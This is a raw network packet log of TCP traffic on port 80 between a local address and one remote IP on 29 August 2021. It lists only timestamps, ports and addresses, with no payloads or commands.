Aug 29, 2021 22:28:03.356350899 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.356367111 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.356502056 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.356533051 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.356542110 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.356592894 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.356786966 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.356903076 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.357029915 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.357604980 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.358237982 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.358346939 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.358421087 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.358493090 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.364206076 CEST	80	49909	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.365139008 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.389904976 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.389938116 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390064001 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390094042 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390242100 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.390273094 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390302896 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390326977 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390465021 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.390628099 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.391508102 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.391685009 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.391846895 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.392160892 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.423691034 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.423841953 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.423867941 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.424388885 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.424418926 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.459754944 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.461504936 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.498920918 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.499242067 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.500284910 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.535192013 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.535401106 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.535959959 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.536967993 CEST	80	49909	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.537009954 CEST	80	49910	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.537090063 CEST	49909	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.537142038 CEST	49910	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.570636034 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.608139038 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.609522104 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.699312925 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.699377060 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.699523926 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.699598074 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.734442949 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.734751940 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.734790087 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.734952927 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.735047102 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.735317945 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.735816002 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.770071030 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.770330906 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.770509958 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.770545959 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.770742893 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.770808935 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.770853996 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.770890951 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.771034956 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.771054029 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.771166086 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.802799940 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.805670977 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.805706978 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.805808067 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.805867910 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.806049109 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806126118 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.806195021 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806391001 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806617022 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806651115 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806773901 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.806895018 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.807060003 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.807087898 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.807323933 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.807466984 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.834949017 CEST	80	49912	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.835180044 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.836005926 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.840698004 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.840775967 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.840936899 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.841085911 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.869824886 CEST	80	49912	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.877320051 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.877541065 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:03.908984900 CEST	80	49912	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:03.909070015 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.038528919 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.038897038 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.040283918 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.071250916 CEST	80	49912	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.072037935 CEST	49912	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.072448015 CEST	80	49913	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.073509932 CEST	80	49911	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.073597908 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.073652029 CEST	49911	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.121618986 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.134321928 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.153810024 CEST	80	49913	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.170345068 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.170449972 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.171104908 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.171350956 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.171379089 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.171494007 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.193305016 CEST	80	49913	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.193672895 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206206083 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206231117 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206240892 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206250906 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206326962 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206456900 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206557989 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206589937 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206691980 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.206727028 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206757069 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206780910 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.206796885 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.241652012 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.241787910 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.241899014 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.241914034 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.241920948 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.241930962 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.241936922 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.242039919 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.242181063 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.242296934 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.242393970 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.276910067 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.276937962 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277071953 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.277110100 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.277115107 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277179956 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.277578115 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277600050 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277610064 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277621984 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277630091 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.277750015 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.277862072 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.278784990 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312267065 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312314034 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312374115 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312397957 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312422037 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312829018 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.312959909 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.320321083 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.321376085 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.352348089 CEST	80	49913	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.353058100 CEST	49913	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.356226921 CEST	80	49915	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.356416941 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.363234043 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.363415003 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.365880966 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.401839972 CEST	80	49915	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.456003904 CEST	80	49915	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.456265926 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.641535044 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.642501116 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.642899036 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.652513981 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.675910950 CEST	80	49916	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.676422119 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.676578045 CEST	80	49915	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.676919937 CEST	49915	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.677036047 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.677423000 CEST	80	49914	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.677527905 CEST	49914	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.687520981 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.688575029 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.689029932 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.689127922 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.689295053 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.689378023 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.710292101 CEST	80	49916	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724039078 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724119902 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724205971 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724255085 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724288940 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724411964 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.724462986 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.724492073 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724539995 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.724638939 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.724685907 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.750861883 CEST	80	49916	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.751004934 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.759700060 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.759774923 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.759861946 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.759915113 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760014057 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760055065 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760092020 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760123968 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760148048 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760195971 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760282993 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760365963 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760469913 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760651112 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760689974 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.760715961 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760740042 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760754108 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.760844946 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.761131048 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.795576096 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.795630932 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.795674086 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.795701027 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.795783043 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.795800924 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.796062946 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.796139002 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.796300888 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.796344042 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.796381950 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.796432972 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.797036886 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797072887 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797111988 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797149897 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797184944 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797384977 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797589064 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797621965 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797669888 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797735929 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.797772884 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831185102 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831228018 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831258059 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831281900 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831307888 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.831438065 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.832449913 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.832583904 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.865243912 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.865662098 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.873693943 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.873910904 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.875020027 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.906991959 CEST	80	49916	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.907032013 CEST	80	49918	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.907139063 CEST	49916	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.907176018 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.908091068 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.908662081 CEST	80	49917	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:04.909344912 CEST	49917	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:04.940227985 CEST	80	49918	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.000556946 CEST	80	49918	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.000792027 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.122487068 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.123547077 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.155802965 CEST	80	49918	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.156224012 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.156378031 CEST	49918	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.156394005 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.175060987 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.175317049 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.175539017 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.175637007 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.185570955 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.207958937 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.207983017 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.207998037 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.208133936 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.208139896 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.208233118 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.208271980 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.208358049 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.208504915 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.208519936 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.208610058 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.220218897 CEST	80	49920	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.221720934 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.222320080 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.242307901 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242330074 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242338896 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242528915 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242549896 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242567062 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242583036 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.242665052 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.242697954 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.242748022 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.242819071 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.242958069 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.245337963 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.256964922 CEST	80	49920	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.275512934 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.275548935 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.275571108 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.275671959 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.275753021 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.275998116 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276026964 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276051044 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276073933 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276134014 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.276185036 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276209116 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276299953 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.276712894 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.277956963 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.278064013 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.309073925 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.309108973 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.309132099 CEST	80	49919	46.17.96.36	192.168.2.4
